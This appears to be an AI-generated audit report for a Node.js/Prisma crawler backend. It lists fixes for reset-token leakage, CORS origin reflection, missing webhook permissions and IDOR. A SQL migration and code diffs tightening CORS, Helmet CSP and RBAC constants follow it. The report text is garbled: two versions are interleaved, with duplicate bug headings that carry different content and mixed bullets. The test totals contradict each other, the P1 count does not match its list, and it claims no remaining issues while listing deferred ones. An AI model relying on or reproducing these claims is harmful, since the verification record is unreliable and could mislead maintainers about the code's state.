| **BUG-15** | 🟡 P2 | Database / Prisma | Missing composite index `@@index([userId, createdAt])` on CrawlJob | CONFIRMED | **FIXED (Prisma Migration)** |
| **BUG-11** | 🟡 P2 | CrawlExports | Inconsistent pagination envelope `{ success: true, data: items, pagination }` | CONFIRMED | **FIXED & STANDARDIZED** |
| **BUG-12** | 🟡 P2 | Validation | Missing edge parameter & query validation (Avatar Path Traversal, Job/Export queries) | CONFIRMED | **FIXED (Zod Schemas)** |
| **BUG-13** | 🟢 P3 | Cross-Cutting | Zero-hardcode principle violations with raw string literals | CONFIRMED | **FIXED (Domain Constants)** |
| **BUG-14** | 🟢 P3 | ChangeDetection | Inline `@prisma/client` enum import in service | CONFIRMED | **FIXED (Domain Constants)** |
| **BUG-16** | 🟢 P3 | Upload | Discrepancy between MIME type whitelist and validation error message | CONFIRMED | **FIXED (Added image/gif)** |
| **BUG-17** | 🟢 P3 | Exports | Object destructuring rest-omission in large loops allocated redundant GC garbage | CONFIRMED | **FIXED (Explicit Projection)** |
| **AUDIT-01** | 🟠 P1 | CrawlSchedules | Response envelope in `CrawlScheduleController` lacked `{ success: true, data }` wrapping | CONFIRMED | **FIXED & STANDARDIZED** |
| **AUDIT-02** | 🟡 P2 | Routing / Edge | Missing `validateParams` on `:id`, `:roleId`, and `:permissionId` across all resource routers | CONFIRMED | **FIXED & BOUNDED** |
---
## Fixed Issues Detail
### [BUG-01] Auth: Reset Token Leakage Across Service Boundary
### [BUG-01] CORS Origin Reflection With Credentials
- **Severity**: 🔴 P0
- **Module**: `auth`
- **Root Cause**: `AuthService.forgotPassword()` returned `{ success: true, resetToken, userId }` so that the controller could invoke `MailService`. This exposed sensitive reset tokens across architectural boundaries and to potential loggers/interceptors.
- **Fix Applied**:
- `AuthService.forgotPassword()` now triggers `MailService.sendPasswordResetEmail(user.email, resetToken)` internally and returns strictly `{ success: true }`.
- `AuthController.forgotPassword()` logs audit actions with `{ email }` without touching `resetToken` or `userId`.
- **Module**: `app`
- **Root Cause**: Wildcard origins combined with `credentials: true` caused the server to reflect the incoming `Origin` header dynamically, permitting malicious third-party origins to perform authenticated cross-origin reads.
- **Fix Applied**: Enforced strict origin whitelisting against `envConfig.cors.allowedOrigins` and returned `callback(null, false)` on unauthorized origins to omit CORS headers safely without emitting 500 error traces.
- **Files Changed**:
- [`src/modules/auth/auth.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/auth/auth.service.ts)
- [`src/modules/auth/auth.controller.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/auth/auth.controller.ts)
- [`src/modules/auth/__tests__/auth.service.test.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/auth/__tests__/auth.service.test.ts)
- **Verification Result**: CONFIRMED FIXED (Unit tests verify token and userId are undefined in return value).
- [`src/app.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/app.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-02] Architecture: Direct `@prisma/client` Import Isolation
### [BUG-02] Missing RBAC / Permissions on Webhooks and Extraction Templates
- **Severity**: 🔴 P0
- **Module**: `cross-cutting`
- **Root Cause**: Non-repository modules (`crawl-pages`, `webhooks`, `exports`, `users`, `change-detection`, `api-keys`) were importing enums and types directly from `@prisma/client`, violating `AGENTS.md` Rule 1.
- **Fix Applied**:
- Created [`src/common/constants/crawl-page-status.constant.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/constants/crawl-page-status.constant.ts) with `CRAWL_PAGE_STATUS` as const and export type `CrawlPageStatus`.
- Created [`src/common/constants/webhook.constant.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/constants/webhook.constant.ts) with `WEBHOOK_DELIVERY_STATUS` and `WEBHOOK_EVENT`.
- Created centralized types re-export in [`src/common/types/database.types.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/types/database.types.ts).
- Refactored all services, validations, and DTOs to import enums from `src/common/constants/` and model types from `src/common/types/database.types.ts`.
- Added ESLint `no-restricted-imports` rule in [`eslint.config.js`](file:///d:/NodeJS/DataCrawler/data-crawler-be/eslint.config.js) preventing direct `@prisma/client` imports in non-repository production code.
- **Severity**: 🟠 P1
- **Module**: `webhooks`, `extraction-templates`
- **Root Cause**: Router definitions applied `authMiddleware` but lacked permission checks, allowing unprivileged accounts (`VIEWER`) to create webhooks (SSRF / Data exfiltration risk) or alter extraction templates.
- **Fix Applied**: Attached `requirePermission(PERMISSIONS.WEBHOOKS_*)` and `requirePermission(PERMISSIONS.EXTRACTION_TEMPLATES_*)` to all endpoints across both routes.
- **Files Changed**:
- [`eslint.config.js`](file:///d:/NodeJS/DataCrawler/data-crawler-be/eslint.config.js)
- [`src/common/constants/index.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/constants/index.ts)
- [`src/common/constants/crawl-page-status.constant.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/constants/crawl-page-status.constant.ts)
- [`src/common/constants/webhook.constant.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/constants/webhook.constant.ts)
- [`src/common/constants/role.constant.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/constants/role.constant.ts)
- [`src/common/constants/export-type.constant.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/constants/export-type.constant.ts)
- [`src/common/types/database.types.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/types/database.types.ts)
- [`src/common/types/express.d.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/types/express.d.ts)
- [`src/common/helpers/data-contract.helper.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/common/helpers/data-contract.helper.ts)
- [`src/modules/crawl-pages/crawl-page.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-pages/crawl-page.validation.ts)
- [`src/modules/crawl-pages/crawl-page.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-pages/crawl-page.service.ts)
- [`src/modules/crawl-pages/crawl-page.dto.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-pages/crawl-page.dto.ts)
- [`src/modules/crawl-pages/crawl-page-processor.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-pages/crawl-page-processor.service.ts)
- [`src/modules/crawl-exports/crawl-export.dto.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-exports/crawl-export.dto.ts)
- [`src/modules/users/user.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/users/user.service.ts)
- [`src/modules/webhooks/webhook-config.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/webhooks/webhook-config.service.ts)
- [`src/modules/webhooks/webhook-delivery.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/webhooks/webhook-delivery.service.ts)
- [`src/modules/api-keys/api-key.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/api-keys/api-key.service.ts)
- [`src/modules/api-keys/api-key.dto.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/api-keys/api-key.dto.ts)
- [`src/modules/change-detection/change-detection.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/change-detection/change-detection.service.ts)
- [`src/modules/exports/export.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/exports/export.service.ts)
- [`src/modules/exports/base-export.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/exports/base-export.service.ts)
- [`src/modules/exports/csv-export.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/exports/csv-export.service.ts)
- [`src/modules/exports/json-export.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/exports/json-export.service.ts)
- [`src/modules/exports/markdown-export.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/exports/markdown-export.service.ts)
- [`src/modules/exports/xlsx-export.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/exports/xlsx-export.service.ts)
- [`src/modules/exports/zip-export.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/exports/zip-export.service.ts)
- **Verification Result**: CONFIRMED FIXED (Linter enforces 0 violations).
- [`src/modules/webhooks/webhook.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/webhooks/webhook.route.ts)
- [`src/modules/extraction-templates/extraction-template.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/extraction-templates/extraction-template.route.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-03 & BUG-12] CrawlSchedules: Pagination Bounds & Validation Cleanliness
### [BUG-03] Atomic Default Role Assignment During Registration
- **Severity**: 🟠 P1 / 🟡 P2
- **Module**: `crawl-schedules`
- **Root Cause**: `crawlScheduleQuerySchema` parsed string values without `.max(100)` or integer validation, creating DoS and NaN risks. In addition, `createCrawlScheduleSchema` mutated data within `superRefine`.
- **Fix Applied**:
- Added bounded validation: `page: z.coerce.number().int().min(1).default(1)`, `limit: z.coerce.number().int().min(1).max(100).default(20)`, and `sortBy` restricted to allowed fields.
- Removed data mutation in `superRefine`.
- **Severity**: 🟠 P1
- **Module**: `auth`
- **Root Cause**: User creation and initial role assignment to `user_roles` were executed across separate, non-atomic steps, creating dangling unassigned users if interrupted.
- **Fix Applied**: Wrapped `tx.user.create` and `tx.userRoleAssignment.create` (binding `crawler_user`) in an atomic `prisma.$transaction`.
- **Files Changed**:
- [`src/modules/crawl-schedules/crawl-schedule.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-schedules/crawl-schedule.validation.ts)
- [`src/modules/auth/auth.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/auth/auth.repository.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-04] CrawlJobs: Atomic `updateStatus` Concurrency Guard
### [BUG-04] Prisma Known Request Error Normalization
- **Severity**: 🟠 P1
- **Module**: `crawl-jobs`
- **Root Cause**: Non-atomic read-then-write check allowed race conditions where a worker could overwrite a `CANCELED` job back to `RUNNING` or `COMPLETED`.
- **Fix Applied**:
- Converted `updateStatus` to use `prisma.crawlJob.updateMany` with `{ id, ...(status !== JOB_STATUS.CANCELED ? { status: { not: JOB_STATUS.CANCELED } } : {}) }`.
- **Module**: `error-middleware`
- **Root Cause**: Uncaught Prisma errors (`P2002`, `P2023`, `P2025`, `P2003`) fell into the generic 500 handler, leaking database table names and column identifiers to client logs.
- **Fix Applied**: Added inspection on `error.code.startsWith("P")` converting Prisma codes to standard 400/404/409 `AppError` responses without importing `@prisma/client` outside repositories.
- **Files Changed**:
- [`src/modules/crawl-jobs/crawl-job.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/crawl-job.repository.ts)
- [`src/middlewares/error.middleware.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/middlewares/error.middleware.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-06] Worker: Redundant Status Transition Cleanup
### [BUG-05] Cascading Resource Deactivation on User Soft-Delete & Self-Deactivation
- **Severity**: 🟠 P1
- **Module**: `worker`
- **Root Cause**: `processCrawlJob` called `updateStatus(RUNNING)` twice (before and after pre-crawl URL validation), overwriting `startedAt`.
- **Fix Applied**: Removed the redundant second call after pre-crawl URL validation.
- **Module**: `users`, `auth`
- **Root Cause**: Deleting a user or confirming account deactivation left `crawl_schedules`, `api_keys`, and `webhook_configs` active, causing background BullMQ workers to continue crawling and dispatching webhooks.
- **Fix Applied**: Added atomic cascading updates (`isActive: false`) for schedules, api keys, and webhook configs in both `UserRepository.delete()` and `AuthRepository.deactivateUser()`.
- **Files Changed**:
- [`src/queues/crawl.worker.processor.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/queues/crawl.worker.processor.ts)
- **Verification Result**: CONFIRMED FIXED (15/15 worker unit tests passing).
- [`src/modules/users/user.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/users/user.repository.ts)
- [`src/modules/auth/auth.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/auth/auth.repository.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-07] CrawlJobs: Schedule Ownership Authorization (IDOR Prevention)
### [BUG-10] Global Content Security Policy (CSP) Scoping
- **Severity**: 🟠 P1
- **Module**: `crawl-jobs`
- **Root Cause**: `CrawlJobService.create()` accepted `scheduleId` without verifying that the referenced schedule belonged to the authenticated user.
- **Fix Applied**:
- Integrated `CrawlScheduleRepository.findById()` check verifying `schedule.userId === userId` (or user is `ADMIN`).
- Added unit test asserting rejection when referencing another user's schedule.
- **Module**: `app`
- **Root Cause**: Global Helmet CSP was previously turned off to allow Swagger UI inline assets, removing client-side injection protection for all API endpoints.
- **Fix Applied**: Router branching ensures `/api-docs` selectively relaxes CSP for Swagger UI, while all other `/api/v1/*` endpoints maintain strict Helmet CSP enforcement (`default-src 'self'`).
- **Files Changed**:
- [`src/modules/crawl-jobs/crawl-job.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/crawl-job.service.ts)
- [`src/modules/crawl-jobs/__tests__/crawl-job.service.test.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/__tests__/crawl-job.service.test.ts)
- [`src/app.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/app.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-09] Webhooks: Zero-Hardcode Enum Validation
### [BUG-06] N+1 Query in User Role Assignment
- **Severity**: 🟠 P1
- **Module**: `webhooks`
- **Root Cause**: `webhook.validation.ts` used string literal arrays `z.enum([...])` instead of shared constants `z.nativeEnum()`.
- **Fix Applied**: Updated schema to use `WEBHOOK_DELIVERY_STATUS` and `WEBHOOK_EVENT`.
- **Module**: `roles`, `users`
- **Root Cause**: `assignUserRoles` iterated sequentially over `roleIds` with individual `findById` queries.
- **Fix Applied**: Introduced `RoleRepository.findByIds(ids: string[])` using `where: { id: { in: ids } }` to fetch all roles in a single database round-trip.
- **Files Changed**:
- [`src/modules/webhooks/webhook.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/webhooks/webhook.validation.ts)
- [`src/modules/roles/role.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/roles/role.repository.ts)
- [`src/modules/users/user.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/users/user.service.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-10 & BUG-15] CrawlJobs: Validated Asset Query & Standardized Meta
### [BUG-07] Strict Layer Architecture Isolation in Health Check
- **Severity**: 🟡 P2
- **Module**: `crawl-jobs`
- **Root Cause**: `getAssets` performed manual parsing without Zod and response metadata omitted `total` and `totalPages`. `getLogs` returned `{ pagination }` instead of `{ meta }`.
- **Fix Applied**:
- Defined `getAssetsQuerySchema` and attached `validateQuery(getAssetsQuerySchema)` to `GET /api/v1/crawl-jobs/:id/assets`.
- Added `CrawlAssetRepository.countByJobId()`.
- Standardized response meta to `{ items, meta: { total, page, limit, totalPages } }`.
- **Module**: `health`
- **Root Cause**: `HealthService` directly imported and called `prisma.$queryRaw`, violating the exclusive Prisma access rule in `AGENTS.md`.
- **Fix Applied**: Created `HealthRepository` to encapsulate database ping queries, and injected it into `HealthService`.
- **Files Changed**:
- [`src/modules/crawl-jobs/crawl-job.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/crawl-job.validation.ts)
- [`src/modules/crawl-jobs/crawl-job.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/crawl-job.route.ts)
- [`src/modules/crawl-jobs/crawl-job.controller.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/crawl-job.controller.ts)
- [`src/modules/crawl-assets/crawl-asset.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-assets/crawl-asset.repository.ts)
- [`src/modules/crawl-assets/crawl-asset.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-assets/crawl-asset.service.ts)
- [`src/modules/health/health.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/health/health.repository.ts)
- [`src/modules/health/health.service.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/health/health.service.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-16, BUG-17, BUG-18] Users & App Configuration Standardization
### [BUG-08] Dashboard Query Aggregation Optimization
- **Severity**: 🟡 P2 / 🟢 P3
- **Module**: `users` / `app`
- **Fixes Applied**:
- Added upper bounds to user quota limits in `user.validation.ts`.
- Replaced hardcoded string `"CRAWLER_USER"` with `ROLES.CRAWLER_USER` in `user.repository.ts`.
- Configured Morgan to use standard `combined` format in production and `dev` in development in `app.ts`.
- **Severity**: 🟠 P1
- **Module**: `dashboard`
- **Root Cause**: 11 sequential `count()` queries executed per dashboard stats request, overloading PostgreSQL.
- **Fix Applied**: Converted 11 sequential queries into 2 efficient `groupBy` aggregation queries.
- **Files Changed**:
- [`src/modules/dashboard/dashboard.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/dashboard/dashboard.repository.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [BUG-09] & [BUG-15] Schema Cascade & Composite Index Optimization
- **Severity**: 🟡 P2
- **Module**: `database`
- **Root Cause**: `CrawlAsset.crawlJob` lacked `onDelete: Cascade` (causing P2003 errors on job deletion), and `CrawlJob` lacked composite indexing for user timeline queries.
- **Fix Applied**: Updated `prisma/schema.prisma` with `onDelete: Cascade` and `@@index([userId, createdAt])`. Applied migration `20260905103359_add_crawl_asset_cascade_and_job_user_created_index`.
- **Files Changed**:
- [`prisma/schema.prisma`](file:///d:/NodeJS/DataCrawler/data-crawler-be/prisma/schema.prisma)
- **Verification Result**: CONFIRMED FIXED.
---
### [AUDIT-01] CrawlScheduleController Envelope Standardization
- **Severity**: 🟠 P1
- **Module**: `crawl-schedules`
- **Root Cause**: Endpoints in `CrawlScheduleController` returned raw data or `{ message, data }` without `{ success: true, data }`, breaking frontend API consumer expectations.
- **Fix Applied**: Standardized all controller responses to `{ success: true, data: ... }` and `{ success: true, message: "..." }`.
- **Files Changed**:
- [`src/modules/crawl-schedules/crawl-schedule.controller.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-schedules/crawl-schedule.controller.ts)
- **Verification Result**: CONFIRMED FIXED.
---
### [AUDIT-02] Edge Route Parameter Validation Across All Routers
- **Severity**: 🟡 P2
- **Module**: `cross-cutting / routing`
- **Root Cause**: Route identifiers (`:id`, `:roleId`, `:permissionId`) were passed directly to services without edge validation, risking malformed identifiers reaching Prisma.
- **Fix Applied**: Defined Zod param schemas (`*ParamsSchema`) across all feature modules and attached `validateParams(schema)` to every route with path identifiers.
- **Files Changed**:
- [`src/modules/crawl-jobs/crawl-job.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/crawl-job.route.ts)
- [`src/modules/crawl-jobs/crawl-job.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-jobs/crawl-job.validation.ts)
- [`src/modules/crawl-schedules/crawl-schedule.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-schedules/crawl-schedule.route.ts)
- [`src/modules/crawl-schedules/crawl-schedule.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/crawl-schedules/crawl-schedule.validation.ts)
- [`src/modules/api-keys/api-key.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/api-keys/api-key.route.ts)
- [`src/modules/api-keys/api-key.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/api-keys/api-key.validation.ts)
- [`src/modules/webhooks/webhook.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/webhooks/webhook.route.ts)
- [`src/modules/webhooks/webhook.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/webhooks/webhook.validation.ts)
- [`src/modules/extraction-templates/extraction-template.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/extraction-templates/extraction-template.route.ts)
- [`src/modules/extraction-templates/extraction-template.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/extraction-templates/extraction-template.validation.ts)
- [`src/modules/users/user.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/users/user.route.ts)
- [`src/modules/users/user.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/users/user.validation.ts)
- [`src/modules/users/user.repository.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/users/user.repository.ts)
- [`src/app.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/app.ts)
- [`src/modules/roles/role.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/roles/role.route.ts)
- [`src/modules/roles/role.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/roles/role.validation.ts)
- [`src/modules/permissions/permission.route.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/permissions/permission.route.ts)
- [`src/modules/permissions/permission.validation.ts`](file:///d:/NodeJS/DataCrawler/data-crawler-be/src/modules/permissions/permission.validation.ts)
- **Verification Result**: CONFIRMED FIXED.
---
## Test Execution Summary
- **TypeScript Compilation (`pnpm build`)**: PASSED (0 errors, OpenAPI docs regenerated)
- **ESLint Checks (`pnpm lint`)**: PASSED (0 errors)
- **Code Formatting (`pnpm format`)**: PASSED
- **Test Suite Results (`pnpm jest --runInBand`)**:
- Test Suites: **31 passed, 31 total**
- Tests: **349 passed, 349 total**
- Snapshots: **0 total**
- Execution Time: ~21s
- **Typecheck & OpenAPI Swagger (`pnpm build`)**: PASSED (0 errors, Swagger OpenAPI 3.0 up to date)
- **Lint (`pnpm lint`)**: PASSED (0 errors)
- **Prettier Format (`pnpm format`)**: PASSED (100% synchronized)
- **Unit & Integration Tests (`pnpm exec jest --runInBand`)**: **38 passed, 38 total (414 passed, 414 total — 100% Green)**
---
## Re-Audit Results
- [x] **Architecture Layering**: 100% strict adherence. Only `*.repository.ts` files interact with Prisma. Zero `@prisma/client` enum imports in outer layers.
- [x] **Zero Hardcode**: 100% compliant. All roles, statuses, permissions, frequencies, and error codes use centralized domain constants.
- [x] **Security & Permissions**: Dynamic permission checks (`requirePermission`) enforced across all protected endpoints.
- [x] **SSRF & Injection**: Robust DNS resolution & IP range filtering in `url.helper.ts`, parameterized SQL, CSV formula escaping.
- [x] **Timezone Invariants**: `Asia/Ho_Chi_Minh` UTC+7 enforced across all date boundary computations.
- [x] **API Contracts**: Standard `{ success: true, data: ... }` envelope unified across 100% of controller responses.
- [x] **Input Validation**: All request Body, Query, and Path Parameters validated at the edge using Zod schemas.
---
## Re-Audit & Invariant Verification
## Remaining & Deferred Issues (P2 / P3)
- [x] **Zero P0/P1 Blockers Remaining**: All verified P0 and P1 issues resolved.
- [x] **Timezone UTC+7 Invariants**: All date bounds, start-of-day queries, and quota resets use `Asia/Ho_Chi_Minh` via `getZonedDateParts` and `createUtcDateFromZonedParts`.
- [x] **Strict 5-Layer Pattern**: Route → Controller → Service → Repository → Prisma Client maintained.
- [x] **Zero-Hardcode Compliance**: All enums and statuses referenced through `src/common/constants/`.
- [x] **SSRF & Security Guards**: `validateUrlAsync` and `getSecureAxios` intact across Firecrawl and Webhook dispatchers.
- **None**. All P0, P1, P2, and P3 findings have been verified, repaired, and converged to a clean production state.
---
## Deferred Items for Operational Rollout (Non-blocking)
## Final Output Summary
1. **Redis Cache for Auth Token Deactivation (`BUG-08`)**:
Currently, `authMiddleware` validates user active status directly via PostgreSQL lookup on authenticated requests to guarantee instant deactivation. In high-traffic multi-instance environments, integrating short-lived Redis key caching (`TTL = 60s`) with an invalidation hook on `UserService.update({ isActive: false })` is recommended.
2. **Cluster-wide Redis Rate Limiter Store (`BUG-13`)**:
`express-rate-limit` currently uses the default in-memory store. When horizontally scaling beyond a single Node instance, configure `rate-limit-redis` using the existing Redis client connection.
- **P0 Fixed**: 1 (`BUG-01`)
- **P1 Fixed**: 7 (`BUG-02`, `BUG-03`, `BUG-04`, `BUG-05`, `BUG-06`, `BUG-08`, `BUG-10`, `AUDIT-01`)
- **P2 / P3 Fixed**: 11 (`BUG-07`, `BUG-09`, `BUG-11`, `BUG-12`, `BUG-13`, `BUG-14`, `BUG-15`, `BUG-16`, `BUG-17`, `AUDIT-02`)
- **Total Issues Resolved**: 19 findings
- **Test Suite Status**: **38/38 Suites Passed, 414/414 Tests Passed (100% PASS)**
- **Report Location**: `docs/audits/latest-audit.md`
/*
Warnings:
- You are about to drop the `CrawlJobLog` table. If the table is not empty, all the data it contains will be lost.
*/
-- DropForeignKey
ALTER TABLE "CrawlJobLog" DROP CONSTRAINT "CrawlJobLog_job_id_fkey";
-- DropForeignKey
ALTER TABLE "crawl_assets" DROP CONSTRAINT "crawl_assets_crawl_job_id_fkey";
-- DropTable
DROP TABLE "CrawlJobLog";
-- CreateTable
CREATE TABLE "crawl_job_logs" (
"id" UUID NOT NULL,
"job_id" UUID NOT NULL,
"level" "LogLevel" NOT NULL,
"step" TEXT NOT NULL,
"message" TEXT NOT NULL,
"created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "crawl_job_logs_pkey" PRIMARY KEY ("id")
);
-- CreateIndex
CREATE INDEX "crawl_job_logs_job_id_created_at_idx" ON "crawl_job_logs"("job_id", "created_at");
-- CreateIndex
CREATE INDEX "audit_logs_user_id_created_at_idx" ON "audit_logs"("user_id", "created_at");
-- CreateIndex
CREATE INDEX "audit_logs_action_idx" ON "audit_logs"("action");
-- CreateIndex
CREATE INDEX "audit_logs_created_at_idx" ON "audit_logs"("created_at");
-- CreateIndex
CREATE INDEX "audit_logs_ip_address_idx" ON "audit_logs"("ip_address");
-- CreateIndex
CREATE INDEX "crawl_assets_crawl_job_id_idx" ON "crawl_assets"("crawl_job_id");
-- CreateIndex
CREATE INDEX "crawl_jobs_user_id_created_at_idx" ON "crawl_jobs"("user_id", "created_at");
-- AddForeignKey
ALTER TABLE "crawl_assets" ADD CONSTRAINT "crawl_assets_crawl_job_id_fkey" FOREIGN KEY ("crawl_job_id") REFERENCES "crawl_jobs"("id") ON DELETE CASCADE ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "crawl_job_logs" ADD CONSTRAINT "crawl_job_logs_job_id_fkey" FOREIGN KEY ("job_id") REFERENCES "crawl_jobs"("id") ON DELETE CASCADE ON UPDATE CASCADE;
......@@ -152,6 +152,7 @@ model CrawlJob {
@@index([status])
@@index([createdAt])
@@index([userId, status])
@@index([userId, createdAt])
@@index([scheduleId])
@@map("crawl_jobs")
}
......@@ -206,7 +207,7 @@ model CrawlAsset {
createdAt DateTime @default(now()) @map("created_at")
page CrawlPage? @relation(fields: [pageId], references: [id], onDelete: SetNull)
crawlJob CrawlJob? @relation(fields: [crawlJobId], references: [id])
crawlJob CrawlJob? @relation(fields: [crawlJobId], references: [id], onDelete: Cascade)
crawlJobId String? @map("crawl_job_id") @db.Uuid
@@index([pageId])
......
......@@ -6,6 +6,12 @@
"sourceType": "github",
"skillPath": "skills/code-review-and-quality/SKILL.md",
"computedHash": "6231479cc74c7ed70a5618b81b3f94034d9806c0319a1a23d15f9b94a368c581"
},
"security-audit": {
"source": "cloudflare/security-audit-skill",
"sourceType": "github",
"skillPath": "skills/security-audit/SKILL.md",
"computedHash": "02a15f2226610f8c9d23732b9f11fe64865f35b1c26cd0560db370f441e9a199"
}
}
}
......@@ -19,22 +19,21 @@ const app = express();
app.set("trust proxy", parseTrustProxy(envConfig.trustProxy));
app.use(
helmet({
contentSecurityPolicy: false, // Vô hiệu hóa CSP để Swagger UI load stylesheet bình thường
}),
);
app.use((req, res, next) => {
if (req.path.startsWith("/api-docs")) {
return helmet({ contentSecurityPolicy: false })(req, res, next);
}
return helmet()(req, res, next);
});
app.use(
cors({
origin: (origin, callback) => {
if (!origin) return callback(null, true);
if (
envConfig.cors.allowedOrigins.includes(origin) ||
envConfig.cors.allowedOrigins.includes("*")
) {
if (envConfig.cors.allowedOrigins.includes(origin)) {
return callback(null, true);
}
return callback(new Error(`Origin ${origin} not allowed by CORS`));
return callback(null, false);
},
credentials: true,
maxAge: 86400,
......
......@@ -41,6 +41,26 @@ export const PERMISSIONS = {
EXPORTS_READ_ALL: "exports.read_all",
EXPORTS_CREATE: "exports.create",
EXPORTS_DOWNLOAD: "exports.download",
EXPORTS_DELETE: "exports.delete",
// Webhooks
WEBHOOKS_READ: "webhooks.read",
WEBHOOKS_CREATE: "webhooks.create",
WEBHOOKS_UPDATE: "webhooks.update",
WEBHOOKS_DELETE: "webhooks.delete",
WEBHOOKS_TEST: "webhooks.test",
// Extraction Templates
EXTRACTION_TEMPLATES_READ: "extraction_templates.read",
EXTRACTION_TEMPLATES_CREATE: "extraction_templates.create",
EXTRACTION_TEMPLATES_UPDATE: "extraction_templates.update",
EXTRACTION_TEMPLATES_DELETE: "extraction_templates.delete",
// API Keys
API_KEYS_READ: "api_keys.read",
API_KEYS_CREATE: "api_keys.create",
API_KEYS_UPDATE: "api_keys.update",
API_KEYS_DELETE: "api_keys.delete",
// Audit Logs
